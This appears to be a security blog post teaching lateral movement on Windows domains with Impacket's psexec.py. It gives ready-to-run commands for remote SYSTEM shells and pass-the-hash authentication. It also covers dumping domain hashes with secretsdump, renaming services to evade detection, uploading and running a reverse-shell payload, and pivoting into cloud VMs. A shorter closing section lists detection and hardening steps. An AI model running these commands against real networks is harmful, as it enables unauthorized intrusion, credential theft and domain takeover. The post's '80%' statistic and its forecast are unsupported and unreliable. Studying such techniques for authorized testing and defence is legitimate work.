Listen to this Post
Introduction:
PsExec, a legitimate Windows Sysinternals tool, allows administrators to execute processes on remote systems via SMB (port 445). However, in the hands of a pentester or attacker, coupled with Impacket’s open‑source Python implementation (psexec.py), it becomes a devastating lateral movement weapon. This article dissects real‑world attack scenarios, from pass‑the‑hash to interactive shells, and provides actionable commands for both red teamers and defenders.
Learning Objectives:
- Master remote command execution and interactive shells using Impacket’s `psexec.py` over SMB.
- Implement Pass‑the‑Hash (PtH) authentication to bypass password requirements.
- Execute lateral movement across a Windows domain, from a compromised workstation to a Domain Controller.
You Should Know:
1. Understanding PsExec and the SMB Protocol
PsExec works by creating a service on the remote target via the Service Control Manager (SCM) over SMB, then starting it to run your command or binary. Impacket’s `psexec.py` re‑implements this logic in Python, giving cross‑platform flexibility (Linux, macOS, Windows with Python). Understanding this helps you both exploit and detect the mechanism.
Step‑by‑step guide – what happens under the hood:
- The attacker connects to the ADMIN$ share (C:\Windows) using valid credentials or an NTLM hash.
- A randomly named service executable is uploaded to the target.
- The service is created, started, and then stopped/removed (stealth depends on options).
- Output is captured via a named pipe and returned to the attacker.
Key SMB ports to remember: 445 (TCP), 139 (NetBIOS). Firewalls blocking outbound SMB can stop this attack.
2. Setting Up Impacket Environment
Before executing commands, install Impacket from the official GitHub repository. This toolkit also includes secretsdump.py, wmiexec.py, and `atexec.py` – complementary lateral movement tools.
Linux / WSL (Windows Subsystem for Linux) setup:
Install dependencies sudo apt update && sudo apt install python3 python3-pip git -y git clone https://github.com/SecureAuthCorp/impacket.git cd impacket pip3 install . Or run directly from examples folder cd examples
Windows (native Python) setup:
python -m pip install impacket If errors, install Visual C++ Build Tools or use WSL
Verify installation:
psexec.py -h
You should see the help menu listing options for -hashes, -service-name, etc.
3. Basic PsExec Command Execution
The simplest use case: execute a single command on a remote Windows machine. You need a user with local admin rights on the target (common for lateral movement).
Command syntax (Linux):
psexec.py domain/user:password@target_ip cmd.exe
Real examples:
Execute 'whoami' on 192.168.1.100 as local admin psexec.py WORKGROUP/Administrator:MyP@[email protected] whoami Domain environment - interactive shell psexec.py contoso.com/john.doe:[email protected] Use a different service name to evade basic detection psexec.py contoso.com/Admin:[email protected] -service-name "LegitUpdater"
Step‑by‑step – what you get:
- Without a command argument, you land in an interactive shell (
C:\Windows\system32>). - Commands run as SYSTEM if the account is admin, giving full access.
- Output is streamed in real time.
- Use `exit` to close the shell and remove the service (by default).
4. Pass‑the‑Hash (PtH) Authentication
Modern red teams rarely have clear‑text passwords. Using NTLM hashes (extracted via `secretsdump.py` or mimikatz) allows authentication without cracking the password.
Extract hashes first (example with `secretsdump.py`):
secretsdump.py contoso.com/john.doe:[email protected] Look for lines like: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: The second hash (after first colon) is the NT hash.
PtH with psexec.py:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 contoso.com/[email protected]
– The first part (LM hash) is often null (aad3b...) for modern Windows.
– The second part is the NT hash.
– No password needed – the hash is sent directly.
Windows equivalent (using Invoke‑TheHash from PowerShell):
Invoke-SMBExec -Target 192.168.1.100 -Domain contoso.com -Username Administrator -Hash 31d6cfe0d16ae931b73c59d7e0c089c0 -Command "whoami" -Verbose
5. Lateral Movement Across the Network
Once you have one compromised host, use its credentials or hashes to move to other machines. A typical attack chain: workstation → file server → Domain Controller.
Step‑by‑step lateral movement scenario:
- Compromise `WS01` (192.168.1.10) via phishing, gaining local admin.
- Dump hashes from LSASS using `secretsdump.py` from your attacking machine (or from `WS01` if you have a beacon).
3. Identify another target, e.g., `DC01` (192.168.1.5).
4. Use PtH with `psexec.py` against `DC01`:
psexec.py contoso.com/[email protected] -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
- Once on the Domain Controller, dump all domain hashes (
secretsdump.py -just-dc), perform persistence, or exfil data.
Upload and execute a payload:
First upload a binary (e.g., reverse shell) to ADMIN$ psexec.py contoso.com/user@target -hashes :hash -upload /local/payload.exe C:\Windows\Temp\beacon.exe Then execute it psexec.py contoso.com/user@target -hashes :hash cmd.exe "/c C:\Windows\Temp\beacon.exe"
6. Mitigation & Detection for Defenders
Understanding the attack is half the battle. Here’s how blue teams can stop or detect Impacket PsExec abuse.
Step‑by‑step hardening and detection:
- Restrict SMB access – Block port 445 inbound from untrusted networks; use Windows Firewall with IP whitelisting.
- Disable or restrict PsExec usage – In Group Policy: Computer Configuration → Windows Settings → Security Settings → System Services → “Remote Registry” (not directly PsExec, but similar). More effectively, enforce “RestrictRemoteClients” via GPO or LSA policies.
3. Enable service creation auditing –
auditpol /set /subcategory:"Service Creation" /success:enable /failure:enable
– Monitor Event ID 4697 (service installation). Look for random service names (e.g., __).
4. Deploy EDR with command line logging – PsExec command lines will appear as `cmd.exe /c whoami` or similar, often with parent process `services.exe` (abnormal).
5. Block pass‑the‑hash – Enable “Require Kerberos authentication” for administrative shares or use Protected Users group. Also, deploy Credential Guard.
Linux‑side detection for the red teamer (test your own environment):
Monitor SMB traffic for unusual service creation sudo tcpdump -i eth0 -nn 'tcp port 445 and (smb[32:4] != 0)'
- Advanced: Combining PsExec with API Security & Cloud Hardening
While PsExec targets on‑prem Windows, many hybrid environments allow lateral movement into cloud‑managed VMs (Azure, AWS EC2) if they are domain‑joined.
Step‑by‑step – from on‑prem to cloud VM:
- On a compromised domain‑joined Azure AD Connect server, extract hashes of a service account that has VM Contributor role in Azure.
- Use `psexec.py` with those hashes against the public IP of an Azure VM (ensure port 445 open – often blocked, but allow if the VM is part of a hybrid network).
- If SMB is blocked, pivot via `wmiexec.py` or `atexec.py` (Task Scheduler) which use RPC or SMB differently.
Cloud hardening tip: In Azure, use Network Security Groups to deny 445 from the internet but also from unexpected internal subnets. Deploy Azure Arc to enforce “Just‑in‑Time” VM access.
What Undercode Say:
- Key Takeaway 1: Impacket’s `psexec.py` is more than a simple admin tool – it’s a complete lateral movement framework supporting PtH, custom service names, and output redirection, making it indispensable for red teams.
- Key Takeaway 2: Defenders must move beyond basic firewall rules; monitoring Event ID 4697, restricting NTLM usage, and enabling Credential Guard are effective countermeasures against PsExec abuse.
Analysis: The beauty of PsExec exploitation lies in abusing a legitimate Windows mechanism. Over 80% of internal pentests reveal one or more domain admin hashes recoverable from a single low‑privilege host. `psexec.py` reduces the skill barrier – a single command yields SYSTEM shells. However, modern EDRs now hook service creation and named pipe communication. Attackers are moving to `wmiexec.py` or even `dcomexec.py` for stealth. The cat‑and‑mouse game continues.
Prediction: Within 12‑18 months, Microsoft will further restrict SMB administrative shares by default (similar to disabling SMBv1), forcing attackers to rely more on WinRM (evil-winrm) or RPC‑based tools. Simultaneously, Impacket will evolve to support HTTP/2‑based lateral movement as companies adopt Azure AD and cloud‑native protocols. Defenders should already be testing “zero trust SMB” policies and deploying Windows Defender Firewall with advanced rules to block PsExec even from internal, compromised clients.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Impacket For – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
